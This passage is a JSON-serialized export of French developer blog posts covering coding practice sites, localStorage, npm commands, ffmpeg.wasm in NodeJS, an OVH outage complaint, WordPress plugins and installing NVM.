n’effectuerez pas des \"challenges\" mais des \"katas\" comme dans les arts martiaux, et même si le suivi de progression est intéressant, le seul reproche que je puisse faire à la plateforme est un léger manque de clarté et de simplicité dans l'interface, rendant parfois la navigation un peu pénible.\n\n> Mais le jeu en vaut la chandelle !\n\n_Lien : [**https://www.codewars.com**](https://www.codewars.com)_\n\n## HackerRank\n\n### Type : Global (Base de données, Algo, AI, Maths,...)\n\n![](https://cellar-c2.services.clever-cloud.com/content/2021/11/hackerrank.JPG)\n\nC'est en recherchant des challenges sur les bases de données que je suis tombé sur HackerRank, et j'ai été vraiment étonné de voir le nombre, mais surtout la diversité des défis/exercices disponibles !\n\nEt rien que pour les challenges \"Base de données\", vous pourrez choisir entre MySQL, Oracle et SQL Server pour compléter chaque exercice, ce qui donne une certaine liberté !\n\n> Allez y  faire un tour, vous trouverez forcément de quoi vous améliorer sur une thématique et rentrer en compétition avec tout le monde !\n\nLien : [**https://www.hackerrank.com**](https://www.hackerrank.com)\n\n## Leekwars\n\n### Type : Jeu et Intelligence Artificielle\n\n![](https://cellar-c2.services.clever-cloud.com/content/2021/04/leekwars.jpg)\n\nLeekwars n'est pas une plateforme d'entrainement gamifié, c'est purement et simplement un jeu compétitif basé sur la programmation. Le but est de développer vous même l'intelligence artificielle de votre personnage (en l'occurence un poireau combattant) afin qu'il ressorte vainqueur lors de ses combats (tour par tour) contre les intelligences artificielles des autres joueurs.\n\nLe jeu se prend assez facilement en main mais il augmente en complexité avec les niveaux et demande une vrai maitrise algorithmique pour progresser. Le langage utilisé est spécifique à la plateforme, le Leekscript et ressemble à la plupart des langages dynamiquement typés, vous pourrez donc vous en sortir assez facilement !\n\n> À noter que la plateforme est française et fondée par deux anciens étudiants d'Epitech et de l'INSA\n\n_Lien : [**https://leekwars.com/**](https://leekwars.com/)_\n\n## CSSBattle\n\n### Type : HTML & CSS\n\n![](https://cellar-c2.services.clever-cloud.com/content/2021/04/css-battle.jpg)\n\nLe concept de CSSBattle est simple : vous devez reproduire l'exemple qui vous est fourni en écrivant votre code HTML et CSS à l'identique avec le moins de code possible.\n\nVotre score final sera calculé en fonction du nombre de lignes de code et de la ressemblance avec l'exemple de départ, vous apparaitrez ensuite dans le classement général du challenge, et ainsi de suite.\n\n> Le site est bien pensé et fonctionne à la perfection !\n\n_Lien : [**https://cssbattle.dev/**](https://cssbattle.dev/)_\n\n## Frontend Mentor\n\n### Type : HTML & CSS\n\n![](https://cellar-c2.services.clever-cloud.com/content/2021/04/frontend-mentor.jpg)\n\nContrairement à CSSBattle qui vous entraine à reproduire des formes et des agencements graphiques simplement pour le challenge, Frontend Mentor vous donne la possibilité de reproduire des designs de pages et de sites créés par des designers et de soumettre le résultat à la communauté.\n\nC'est ce que l'on peut trouver de plus proche comme entrainement en conditions réels pour de l'intégration web avec la mise à disposition de designs pour chaque taille d'écran.\n\n> Frontend Mentor est l'un des seuls sites d'entrainement au front-end qui peut vous permettre en plus d'ajouter du contenu à votre portfolio !\n\n_Lien : [**https://www.frontendmentor.io/**](https://www.frontendmentor.io/)_\n\n## Root Me\n\n### Type : Sécurité\n\n![](https://cellar-c2.services.clever-cloud.com/content/2021/04/root-me.jpg)\n\nRoot Me est assez reconnu dans le monde de la cybersécurité car c'est une plateforme d'entrainement complète avec presque 400 challenges répartis dans de nombreuses catégories et pour différents niveaux.\n\nLes premiers exercices sont en général très abordables et intègrent des concepts indispensables en sécurité, notamment dans le web, et le niveau augmente vite avec de la documentation technique à lire et des concepts à étudier.\n\n> Je pense que si vous voulez améliorer vos connaissances en sécurité, c'est la plateforme incontournable !\n\n_Lien : [**https://www.root-me.org**](https://www.root-me.org)_\n\n## En bonus\n\n![](https://cellar-c2.services.clever-cloud.com/content/2021/07/test-wld.JPG)\n\n**Si vous souhaitez progresser sur les questions techniques/théoriques**, [WeLoveDevs](https://welovedevs.com/app/tests?referral=nicolasbrondin) (également partenaires du blog) proposent de nombreux **tests techniques pour vous entrainer** mais aussi afficher vos compétences techniques directement sur votre profil : [https://welovedevs.com/app/tests](https://welovedevs.com/app/tests?referral=nicolasbrondin) (lien affilié)\n\n","Envie de vous entrainer au code, à l'algorithmie, au css ou encore à la sécurité ? J'ai ce qu'il vous faut !","les-meilleurs-sites-entrainement-programmation","2020-11-25T07:50:02.000Z","2023-10-10T15:57:19.462Z","2021-11-18T07:12:00.000Z","","https://cellar-c2.services.clever-cloud.com/content/2021/11/paul-esch-laurent-6MeMUw5KDss-unsplash.jpg","Paul Esch-Laurent sur Unsplash","https://unsplash.com/@pinjasaur?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1079,"title":1080,"content":1081,"socialTitle":8,"description":1082,"socialDescription":8,"slug":1083,"createdAt":1084,"updatedAt":1085,"publishedAt":1086,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1087,"coverCopyright":1088,"coverCopyrightLink":1089},138,"Comment utiliser le localStorage pour stocker des données en local sur le navigateur ?","**Le localStorage est une méthode de stockage de données en local sur le navigateur** créé pour palier aux deux problèmes majeurs des cookies : le faible espace de stockage ainsi que le manque de réelle API pour y accéder en Javascript.\n\nCe stockage de données permet donc, comme les cookies, de **stocker des données (clé/valeur) en local pour un domaine précis** (blog.example.com et example.com n'auront pas accès au même stockage) **pour une taille d'environs 5Mo par domaine.**\n\n> La taille disponible n'est jamais spécifiée clairement et les tests renvoient des informations différentes selon les navigateurs.\n\nEn plus d'être spécifique au domaine, **le localStorage est spéficique au protocole**, ce qui signifie qu'un site accédé en https ou en http n'aura pas accès à la même instance (et donc aux même données) du storage.\n\n**Les données du localStorage seront conservées même si l'utilisateur ferme son navigateur, mais attention, l'utilisateur a la possibilité de supprimer ces données** à la main en même temps que ces données de navigation.\n\nSi vous cherchez à stocker des données uniquement pour la session en cours, **sans qu'elles soient conservées lors de la fermeture du navigateur, vous pouvez utiliser l'API du sessionStorage** qui utilise les mêmes méthodes que celle du localStorage.\n\n## Les différentes méthodes\n\n### Ajouter une donnée\n\n```\ntry {\n localStorage.setItem(\"key\", \"value\");\n} catch(e){...}\n```\n\n> À noter que tous les appels au localStorage **doivent être encapsulés dans un try/catch car ce dernier peut être désactivé**, ne plus avoir d'espace, etc... Les try/catch ont été enlevés des exemples suivants pour simplifier le code.\n\n### Ajouter une donnée complexe (Objet/Array)\n\n**Le localStorage ne connait qu'un seul type de valeur : les chaînes de caractères.** Ce qui signifie que lorsque vous souhaitez enregistrer une donnée d'un autre type, soit Javascript va transformer cette donnée automatiquement (199 devient \"199\") soit **vous devrez \"stringifier\" cette donnée au préalable.**\n\n```\nlet arr = [1,2,3];\nlocalStorage.setItem(\"key\", JSON.stringify(arr));\n```\n\n### Lire une donnée\n\n```\n//Lire une donnée simple (string)\nlet str = localStorage.getItem(\"key\");\n\n//Lire une donnée complexe (objet)\nlet obj = JSON.parse(localStorage.getItem(\"key\"));\n\n//Lire un entier\nlet nbr = parseInt(localStorage.getItem(\"key\"));\n```\n\n> Pensez à l'encapsulation dans un try/catch pour le localStorage, mais aussi pour le **JSON.parse qui peut renvoyer une erreur si la donnée retournée n'est pas un objet JSON** ou un Array.\n\n### Supprimer une donnée\n\n```\nlocalStorage.removeItem(\"key\");\n```\n\n> Note : Cette méthode s'effectuera sans retourner d'erreur même si la clé spécifiée n'existe pas.\n\n### Vider le localStorage\n\nAttention : cette méthode effacera l'entiereté du localStorage du domaine actuel, et non pas de tout le navigateur !\n\n```\nlocalStorage.clear();\n```\n\n","Tout ce que vous devez savoir sur cette méthode de stockage !","comment-utiliser-le-localstorage-pour-stocker-des-donnees-en-local-sur-le-navigateur","2020-11-27T09:20:44.000Z","2023-09-19T15:05:38.225Z","2020-11-27T10:22:41.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/11/steve-johnson-S0j-5wSN3YQ-unsplash.jpg","Steve Johnson sur Unsplash","https://unsplash.com/@steve_j?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1091,"title":1092,"content":1093,"socialTitle":8,"description":1094,"socialDescription":8,"slug":1095,"createdAt":1096,"updatedAt":1097,"publishedAt":1098,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1099,"coverCopyright":1100,"coverCopyrightLink":1101},140,"Les 8 commandes NPM dont vous ignorez l'existence","Si comme la plupart des gens vous n'utilisez NPM qu'au travers de ses commandes \"install\" ou encore \"run\", **vous allez découvrir que ce gestionnaire de paquet n'a rien à envier aux autres.**\n\nCar en effet, même si il est de coutume de l'utiliser en complément d'un moteur de recherche et d'un navigateur pour trouver les paquets voulus, **NPM vous permet de tout faire sans jamais passer par un autre outil si vous le désirez.**\n\n## Faire un audit de sécurité\n\n**C'est LA commande la plus importante de cette liste car bâtir du logiciel sur des dépendances** et des sous-dépendances peut autant être un avantage qu'un défaut.\n\nÉvidemment les centaines de milliers de paquets disponibles sur NPM permettent de ne pas réinventer la roue, mais cela a parfois pour conséquence d'ouvrir une faille de sécurité dans son logiciel si l'une de ses dépendances a été compromise.\n\n```\n$> npm audit\n```\n\nCette commande vous permet donc de **lancer un audit de sécurité sur l'ensemble des dépendances déclarées dans le projet, avec leur niveau de criticité et surtout la possibilité de les résoudre** en mettant à jour chaque paquet concerné.\n\n## Vérifier la connexion au registre\n\nUn problème de téléchargement sur un ou plusieurs paquet ? Besoin de savoir si **les règles de sécurité du pare-feu ou du proxy permettent au serveur d'installer toutes les dépendances** de l'application ?\n\n```\n$> npm ping\n```\n\nAvec la commande \"ping\" vous pourrez avoir une réponse immédiate sur la capacité pour npm de se connecter, ou non, à son registre de paquets.\n\n## Rechercher un paquet\n\nVous êtes habitué à **rechercher vos paquets sous Linux directement dans votre terminal avec \"apt search\" ?** Alors vous ne serez pas dépaysé car vous pourrez faire la même chose avec npm !\n\n```\n$> npm search \u003Cquery1> \u003Cquery2> ...\n```\n\n## Lister les dépendances installées\n\nEn listant les dépendances installées vous pourrez avoir **une vision sous forme de graphe de tous les paquets présents sur un projet**, avec une indication pour savoir si un paquet sert de sous-dépendance à plusieurs autres paquets.\n\n```\n$> npm list --all\n```\n\nVous pouvez aussi faire la même chose pour les paquets installés globalement sur la machine avec la commande suivante :\n\n```\n$> npm list --global\n```\n\n## Afficher les détails d'un paquet\n\nSi vous avez envie de connaître **le numéro de la version la plus récente d'un paquet, ou encore la liste de ses dépendances, le nombre de versions créées** depuis le début, ainsi que bien d'autres informations, il vous suffit de taper la commande suivante :\n\n```\n$> npm view \u003Cpackage>\n```\n\n## Afficher la doc d'une dépendance\n\nSi vous voulez ouvrir la documentation officielle d'un paquet et que vous avez envie d'**économiser les 5 à 10g de CO2 générés par une recherche Google**, vous pourrez le faire avec la commande :\n\n```\n$> npm docs \u003Cpackage>\n```\n\nou sa variante :\n\n```\n$> npm home \u003Cpackage>\n```\n\nQui ouvrira la page d'accueil du site de présentation du paquet qui parfois diffère du site où se situe la documentation.\n\n## Financer un projet open-source\n\n**Le financement dans la communauté open-source est un vrai problème, et NPM a décidé de faire face** à ce problème en donnant aux créateurs d'un projet d'annoncer le besoin d'argent pour supporter le projet, et une commande pour que chaque utilisateur puisse en prendre connaissance facilement.\n\nCette commande, c'est :\n\n```\n$> npm fund \u003Cpackage>\n```\n\n## En bonus\n\n**Si vous ne savez pas exactement à quoi sert le fichier package-lock.json dans un projet**, voici un article sur son importance, avec en cadeau une autre commande NPM à l'intérieur : [https://code-garage.fr/blog/a-quoi-sert-le-fichier-package-lock-json-et-faut-il-le-commit/](https://code-garage.fr/blog/a-quoi-sert-le-fichier-package-lock-json-et-faut-il-le-commit/)\n\n","La 2ème va vous étonner (peut-être pas) !","les-commandes-npm-dont-vous-navez-jamais-entendu-parler","2020-11-29T09:43:00.000Z","2023-09-19T15:05:38.283Z","2020-11-30T22:27:15.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/04/chuttersnap-BNBA1h-NgdY-unsplash-1.jpg"," sur Unsplash","https://unsplash.com/@laimannung?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1103,"title":1104,"content":1105,"socialTitle":8,"description":1106,"socialDescription":8,"slug":1107,"createdAt":1108,"updatedAt":1109,"publishedAt":1110,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1111,"coverCopyright":1112,"coverCopyrightLink":1113},141,"Convertir des vidéos directement avec NodeJS, désormais c'est possible !","J'en vois déjà certains me dire que tout est possible à partir du moment où l'on créé un nouveau processus système à partir de notre environnement NodeJS grâce à une commande comme spawn() par exemple.\n\n> Si vous ne connaissez pas les méthodes spawn() et exec() du module child\\_process de NodeJS,  [**je vous invite à lire mon article où j'explique leur fonctionnement**](https://code-garage.fr/comment-executer-une-commande-systeme-ou-un-programme-externe-en-nodejs-spawn-exec-child-process/) !\n\nSauf qu'ici, il ne s'agit pas de ça. Je ne parle pas d'appeler l'exécutable de la librairie FFMPEG installée sur le système, non **je parle bel et bien de faire tourner FFMPEG dans NodeJS !**\n\nMais comment est-ce possible ? Tout simplement grâce à une technologie que j'ai déjà présentée sur le blog : [**le WebAssembly**](https://code-garage.fr/comprendre-le-web-assembly-wasm/).\n\n> Pour faire court, le WebAssembly permet de compiler du code bas-niveau en bytecode exécutable (WASM) par le moteur d'exécution Javascript.\n\n## Convertir une vidéo avec NodeJS et FFMPEG\n\n_Je tiens à préciser que **l'exemple suivant fonctionne aussi sur certains navigateurs** supportant les \"SharedArrayBuffer\", soit actuellement Google Chrome._\n\nLa première étape est d'importer le module FFMPEG dans votre projet node en exécutant la commande suivante :\n\n```\n# Use npm\n$ npm install @ffmpeg/ffmpeg @ffmpeg/core\n```\n\nÀ partir de ce moment, vous pourrez convertir facilement vos fichiers vidéo en exploitant la puissante incroyable de FFMPEG, simplement depuis votre script NodeJS :\n\n```\nconst fs = require('fs');\nconst { createFFmpeg, fetchFile } = require('@ffmpeg/ffmpeg');\nconst ffmpeg = createFFmpeg({ log: true });\n\n(async () => {\n await ffmpeg.load();\n ffmpeg.FS('writeFile', 'example.avi', await fetchFile('./example.avi'));\n await ffmpeg.run('-i', 'example.avi', 'example.mp4');\n await fs.promises.writeFile('./example.mp4', ffmpeg.FS('readFile', 'example.mp4'));\n process.exit(0);\n})();\n```\n\nPersonnellement, j'utilise **la dernière version de NodeJS (15.3.0)** et pour que le script fonctionne je dois ajouter les flags suivant : \"**\\--experimental-wasm-threads --experimental-wasm-bulk-memory**\"\n\nAttention, les flags doivent être ajoutés avant le nom du script à exécuter, comme ceci :\n\n```\n$ node --experimental-wasm-threads --experimental-wasm-bulk-memory index.js\n```\n\nEt voilà, en quelques secondes (selon la durée de votre vidéo), **vous pourrez récupérer votre fichier example.mp4 tout neuf !** Si vous voulez utiliser un fichier vidéo de test en .avi, vous pourrez en trouver juste ici : [https://www.engr.colostate.edu/me/facil/dynamics/avis.htm](https://www.engr.colostate.edu/me/facil/dynamics/avis.htm)\n\nPour en savoir plus et découvrir tout ce qu'il est possible de faire avec la version WASM de FFMPEG, je vous invite à consulter la doc sur Github :\n\n::: bookmark\n[![](N/A)FFMPEG.WASM](https://ffmpegwasm.github.io/)\n:::\n\n> _","Connaissez-vous notre seigneur FFMPEG ?","convertir-videos-javascript-nodejs-ffmpeg-wasm","2020-11-30T23:58:19.000Z","2023-09-19T15:05:38.312Z","2020-12-02T07:24:52.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/12/jakob-owens-CiUR8zISX60-unsplash.jpg","Jakob Owens sur Unsplash","https://unsplash.com/@jakobowens1?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1115,"title":1116,"content":1117,"socialTitle":8,"description":1118,"socialDescription":8,"slug":1119,"createdAt":1120,"updatedAt":1121,"publishedAt":1122,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1123,"coverCopyright":1124,"coverCopyrightLink":1125},142,"Note perso #8 : Quand OVH participe à la mort de commerçants et ne fait rien.","Vous l'aurez compris, ce soir j'écris cet article sous le coup de la pression après avoir dû gérer des problèmes d'hébergement chez OVH (venant de chez eux), impactant à la fois mon activité, **mais surtout celle de ma cliente, commerçante qui souffre déjà de la situation sanitaire actuelle**.\n\n> Voici un résumé de ce qui s'est passé depuis le 18 Novembre 12h, moment où tout à commencé.\n\nEn me connectant sur le site de ma cliente (une instance Wordpress assez légère, hébergée sur un serveur mutualisé), je remarque que **les pages du site mettent très longtemps à se charger** tant du côté public que du côté admin.\n\nJe vérifie que le problème ne vient pas de chez moi, ma cliente me confirme que le problème est aussi présent chez elle, je fait donc un tour de vérification être sûr que rien n'ait bougé de notre côté.\n\n**À 14h le site est devenu tellement lent que chaque page met au minimum 9 secondes à se charger jusqu'à très souvent finir par un timeout.** En regardant les logs du serveur, j'aperçois la première erreur timeout de la journée à partir de 10h du matin, le problème est donc présent depuis 4h, période pendant laquelle le site est comme inaccessible au public.\n\nJe me rends sur la page de status des incidents en cours chez OVH, et découvre qu'une anomalie a effectivement bien lieu en ce moment même sur leur infrastructure, **localisée exactement sur le même cluster et le même filerz que notre hébergement.**\n\nJe contacte doncle support OVH sur Twitter pour confirmer que cet incident est bien la cause de mes problèmes, car après tout **leur incident indique un simple \"ralentissement du service\", alors que notre site lui n'est même plus accessible.**\n\nLe support me confirme que c'est bien lié au même problème et m'invite, je cite:  \"à patienter la résolution de cet incident par nos administrateurs.\"\n\nÀ ce moment-là, je prends le temps d'expliquer le problème à ma cliente, à demander à son équipe de communication de **stopper toutes les publicités en cours pour lui éviter de jeter de l'argent par les fenêtres**, ce dont elle n'a pas besoin en ce moment.\n\nJe patiente donc, en consultant régulièrement la fiche d'incident et en espérant que leurs très talentueux ingénieurs (et je le pense) arrivent à résoudre le problème au plus vite.\n\n**Le lendemain (19 Novembre) en cours d'après-midi je suis soulagé de voir que le problème est indiqué comme résolu** sur [travaux.ovh.net](https://travaux.ovh.net), et fonce donc me connecter sur le site de ma cliente afin de vérifier que tout fonctionne bien.\n\nTout est en ordre, j'ai l'impression que le site est légèrement plus lent qu'avant mais de manière négligeable et **nous décidons de donner le feu vert à l'équipe communication pour tout relancer.**\n\nUne semaine après (26 Novembre), le responsable communication m'appelle pour me dire qu'étrangement, beaucoup de personnes sont arrivées sur le site avec les publicités la semaine passée, mais qu'**il n'y a eu aucune transaction et qu'il pense que ça viendrait de la lenteur du site.**\n\n**Etonné, je me connecte, et là cauchemar : le problème est revenu.** Je vérifie que cette latence arrive bien en amont du chargement du site en lui-même, et comme c'est le cas, je décide de contacter le support, par téléphone cette fois.\n\n**Après environs 1h30 d'attente au téléphone** pour arriver à joindre le support, j'arrive finalement à expliquer mon problème, avec tous les détails.\n\nJ'obtiens alors deux réponses :\n\n* **Merci de bien vouloir patienter**, mais nous n'avons aucune idée du temps de résolution.\n* Si vous voulez migrer votre hébergement pour sortir du cluster problématique, **il faudra le faire à la main**.\n\nN'ayant aucune place dans mon planning pour m'occuper moi-même de régler les problèmes d'infrastructure venant d'OVH (étonnant non ?), nous décidons donc d'attendre avant de relancer l'activité e-commerce de ma cliente, croisant les doigts pour que la vraie résolution viennent dans les heures à venir.\n\n**Surprise, le même jour à 22h30 l'incident est réglé, retour à la normale et reprise du travail sur le site**.\n\n**Mais aujourd'hui, 2 Décembre (1 semaine plus tard), je reçois un appel pour me dire que le site est encore en rade** et après une heure d'attente supplémentaire au téléphone, lorsque je demande tout simplement à ce qu'on copie mon hébergement actuel vers un cluster différent, on me répond :\n\n> Nous ne sommes pas en capacité de faire celà.\n\nEt quand j'explique que ma cliente, déjà dans une situation de crise sanitaire sans précédent, perd chaque jour de l'argent à cause de leurs soucis techniques, on me répond :\n\n> La meilleure solution est d'attendre la résolution de l'incident, une nouvelle carte de tâche a été ouverte chez nous.\n\nAutrement dit :\n\n> Le fait que nous impactions directement des commerçants dans une situation déjà critique, le mois de Noël avec le black friday et un déconfinement qui approche ne nous intéresse pas le moins du monde.\n\n## Ce que j'en pense\n\n**Je sais très bien que ce genre de problèmes peut arriver chez un hébergeur**, que le temps de résolution, tout comme dans le développement, n'est pas toujours connu et je ne jette surtout pas la pierre aux ingénieur.e.s qui travaillent d'arrache-pied pour résoudre la situation.\n\nMais je reproche plusieurs chose à OVH dans **la gestion de cet incident.**\n\n### Ne pas être prévenu\n\nÀ partir du moment où l'on connait le cluster et le filerz sur lequel arrive un incident, **il devrait être automatique d'avertir le client qu'un incident est en cours sur son panneau d'aministration**, ou mieux, de le prévenir par e-mail.\n\n### Un support trop peu réactif\n\nD'accord je ne bénéficie pas du support premium, mais **attendre des heures au bout du fil donne vraiment l'impression d'être la dernière des préoccupations** de l'entreprise.\n\n### Le manque de solution de secours\n\nÀ quel moment une entreprise spécialisée dans l'hébergement et la gestion d'infrastructure cloud **n'est pas capable de copier un hébergement d'un cluster à un autre** si un problème bloque le fonctionnement d'une entreprise sur une semaine complète, voir plus ?\n\n### La minimisation du problème\n\nAnnoncer un ralentissement du système lorsque le temps de chargement est augmenté de 25% est légitime, mais **parler de ralentissement alors que des dizaines de sites sont carrément indisponibles**, je trouve ça légèrement malhonnète.\n\nPour couronner le tout, si vous examinez les pages des incidents, **la date de début du premier incident à été déplacé du 18 Novembre au 26 Novembre 18h**, comme si en réalité l'incident n'avait duré que 4h30, et non pas sur une semaine complète avec des intermitences.\n\nFiche d'incident n°1 (fermée) : [http://travaux.ovh.net/?do=details&id=47888&](http://travaux.ovh.net/?do=details&id=47888&) \nFiche d'incident n°2 (ouverte) : [http://travaux.ovh.net/?do=details&id=47966&](http://travaux.ovh.net/?do=details&id=47966&)\n\n## Pour finir\n\nEn tant que développeur il est tentant de passer uniquement par des solutions utilisées beaucoup plus globalement, mais **j'aime essayer de passer par des plateformes françaises dès que je le peux**, et c'est aussi pour ça que j'aime travailler avec OVH qui fourni d'ordinaire une plateforme de qualité.\n\nMais parfois on peut se demander si il est vraiment utile de faire ces efforts-là **si cette même entreprise Française n'en a rien à faire d'impacter négativement d'autres entreprises nationales**, même plus modestes.\n\nS'il vous plait OVH, ne me décevez plus comme aujourd'hui, je vous aime quand même, mais faut pas déconner ","\"Malheureusement, nous ne pouvons rien faire de plus pour vous.\"","note-perso-8-quand-ovh-participe-a-la-mort-de-commercants-et-ne-fait-rien","2020-12-02T19:46:29.000Z","2023-09-22T13:50:00.782Z","2020-12-02T21:28:44.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/12/artem-gavrysh-F6-U5fGAOik-unsplash.jpg","Artem Gavrysh sur Unsplash","https://unsplash.com/@tmwd?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1127,"title":1128,"content":1129,"socialTitle":8,"description":1130,"socialDescription":8,"slug":1131,"createdAt":1132,"updatedAt":1133,"publishedAt":1134,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1135,"coverCopyright":1136,"coverCopyrightLink":1137},144,"Les 4 extensions Wordpress gratuites indispensables pour vos sites","À l'heure où j'écris cet article, il y a **plus de 57000 extensions Wordpress disponibles**, mais j'ai voulu vous faire une sélection de ceux que je trouve indispensables, et qui pourraient même vous sauver la vie (ça m'est arrivé) !\n\nLes plugins que je vous présente dans cette liste sont là pour **une fonctionnalité spécifique présente dans leur version gratuite.**\n\nVous utilisez peut-être d'autres extensions payantes qui regroupent déjà plusieurs de ces fonctionnalités, mais j'avais envie de pouvoir fournir **une liste du strict nécessaire sans rien dépenser.**\n\n> Pour ceux qui seraient intéressés, j'utilise Wordpress avec **le thème et le constructeur [Divi](__GHOST_URL__/divi-le-theme-qui-ma-reconcilie-avec-wordpress/)** [**que je présente dans cet article.**](https://code-garage.fr/divi-le-theme-qui-ma-reconcilie-avec-wordpress/)\n\n## BackWPup\n\n### Catégories : Backup, sauvegarde\n\nSi il y a bien un plugin incontournable, c'est celui pour faire **un backup régulier de votre site Wordpress.** Il en existe des centaines, mais j'en cherchais un gratuit et qui ne nécessitait pas de payer un forfait mensuel pour le stockage du backup et BackWPup est parfait pour le job !\n\nAu menu (gratuit), cette extension nous offre :\n\n* Une sauvegarde manuelle, **automatisée (avec CRON)** ou par appel externe\n* De nombreuses possibilités de **lieux de sauvegarde** (Local, FTP, S3, Dropbox, Azure,...)\n* Sauvegarde de tout ou d'une partie des **fichiers + de la base de données**\n* **Alerte par email** si la sauvegarde s'est mal exécutée\n* ...\n\nPour moi cette extension est absolument indispensable, elle vous permettra de **rétablir votre site en cas de mauvaise manipulation, d'une attaque, etc...** Mais aussi tout simplement de pouvoir migrer votre site sans trop de problème si vous en avez besoin.\n\nLien de l'extension : [https://wordpress.org/plugins/backwpup/](https://wordpress.org/plugins/backwpup/)\n\n## GDPR Cookie Compliance\n\n### Catégories : RGDP, tracking, données\n\nSi vous intégrez dans votre site des scripts de tracking (type Google Analytics, Facebook Pixel), des scripts publicitaires ou bien si vous stockez des données utilisateurs pour le fonctionnement du site, **vous n'êtes pas sans savoir que vous devez respecter la [RGPD : Réglementation générale pour la Protection des Données](https://www.cnil.fr/fr/comprendre-le-rgpd).**\n\n\"GDPR Cookie Compliance\" est donc une extension vous permettant de gérer tout cela d'une manière très simplifiée :\n\n* Activation d'une **bannière customisable** (texte et design)\n* Popup de **gestion de paramètres** pour le visiteur\n* **Bouton flottant** pour une gestion ultérieur des cookies\n* Choix du **comportement par défaut des scripts de tracking**\n* ...\n\nBref, tout ce qu'il vous faut pour être conforme non seulement à la loi, mais aussi à l'éthique en ce qui concerne les données de vos visiteurs !\n\nLien de l'extension : [https://wordpress.org/plugins/gdpr-cookie-compliance/](https://wordpress.org/plugins/gdpr-cookie-compliance/)\n\n## Jetpack\n\n### Catégories : Audit, uptime, sécurité\n\nJetpack est une extension couteau suisse, dans sa version premium elle permet énormément de fonctionnalité, allant du nettoyage de contenu au backup de votre site.\n\nMais dans sa version gratuite, Jetpack rassemble déjà trois fonctionnalités intéressantes :\n\n* **Un audit de l'uptime de votre site** (avec des alertes si votre site est indisponible)\n* Une prévention des **attaques par force-brut**\n* **Des statistiques de visite** basiques (mais sans cookies)\n\n_Le seul petit inconvénient de Jetpack est qu'il doit être relié à un compte wordpress.com, mais ce qui est normal étant donné que l'audit d'uptime doit être effectué de manière indépendante du site en lui-même._\n\nLien vers l'extension : [https://wordpress.org/plugins/jetpack/](https://wordpress.org/plugins/jetpack/)\n\n## Yoast SEO\n\n### Catégories : Référencement, marketing, réseaux sociaux\n\n**Vous le savez peut-être déjà mais Yoast SEO est le plugin n°1 pour le référencement des sites Wordpress.** Il offre entre autres des conseils sur la manière d'optimiser son référencement naturel dans la version payante, mais dans sa version gratuite il permet déjà de :\n\n* Configurer précisément **les titres de ses pages et les descriptions**\n* Gérer ses **balises open-graph** (réseaux sociaux)\n* Recevoir **quelques conseils** basiques sur l'écriture pour le SEO\n\nLien vers l'extension : [https://wordpress.org/plugins/wordpress-seo/](https://wordpress.org/plugins/wordpress-seo/)\n\n## En bonus\n\nCe n'est pas une extension, mais voici **une checklist très intéressante des choses à faire pour sécuriser son site Wordpress**, à l'intérieur se trouvent des bonnes pratiques, d'autres extensions et conseils en tout genre, à garder sous le coude !\n\nLa checklist : [https://wpsecuritychecklist.org/items/](https://wpsecuritychecklist.org/items/)\n\n","Sécurité, audit, RGDP, Référencement, tout y est !","les-extensions-wordpress-gratuites-indispensables-pour-vos-sites-web","2020-12-07T08:08:24.000Z","2023-09-19T15:05:38.399Z","2020-12-07T09:41:25.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/12/jan-antonin-kolar-5pfTHLiK7wQ-unsplash.jpg","Jan Antonin Kolar sur Unsplash","https://unsplash.com/@jankolar?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1139,"title":1140,"content":1141,"socialTitle":8,"description":1142,"socialDescription":8,"slug":1143,"createdAt":1144,"updatedAt":1145,"publishedAt":1146,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1147,"coverCopyright":1148,"coverCopyrightLink":1149},147,"Comment passer d'une version de NodeJS à une autre avec NVM","Si vous travaillez sur plusieurs projets développés avec NodeJS dans votre quotidien, dont certains hérités d'autres développeurs et déployés il y a plusieurs années, **il se peut que vous ayez des problèmes de compatibilité de versions.**\n\nLorsque vous enchaînez les projets les uns après les autres, il est possible de réinstaller sa version de node à chaque fois (même si c'est contre-productif), mais si vous alternez très régulièrement entre ces projets, cela devient problématique.\n\nHeureusement, **il existe un gestionnaire de version pour NodeJS appelé \"NVM\"** (pour Node Version Manager, pas vraiment original).\n\n## Comment l'installer ?\n\nIl faut savoir que la version d'origine de cet outil ne fonctionne que sous **MacOS, Linux** et sous Windows WSL (Windows Subsystem for Linux), mais une version alternative et toute aussi fiable existe sous pour **Windows**.\n\n### MacOS et Linux\n\nPour installer l'outil, il vous suffit de **télécharger le script d'installation et de l'exécuter**, directement depuis votre terminal en faisant :\n\n```\n$ curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.37.2/install.sh | bash\n# ou\n$ wget -qO- https://raw.githubusercontent.com/nvm-sh/nvm/v0.37.2/install.sh | bash\n```\n\nSi vous rencontrez un problème lors de l'installation je vous laisse visiter le dépôt Github officiel du projet :\n\n::: bookmark\n[![](https://avatars2.githubusercontent.com/u/49963700?s=400&v=4)nvm-sh/nvm](https://github.com/nvm-sh/nvm)\n:::\n\n### Windows\n\n> Avant d'installer nvm sous Windows, il est recommandé de **désinstaller toute version de node précédemment installée** sur la machine, ainsi que de supprimer tous les dossiers npm afin d'éviter tout conflit.\n\nSi vous devez effectuer cette opération, je vous laisse vous référer à **la documentation sur Github** qui vous guidera sur tous les chemins à vérifier :\n\n::: 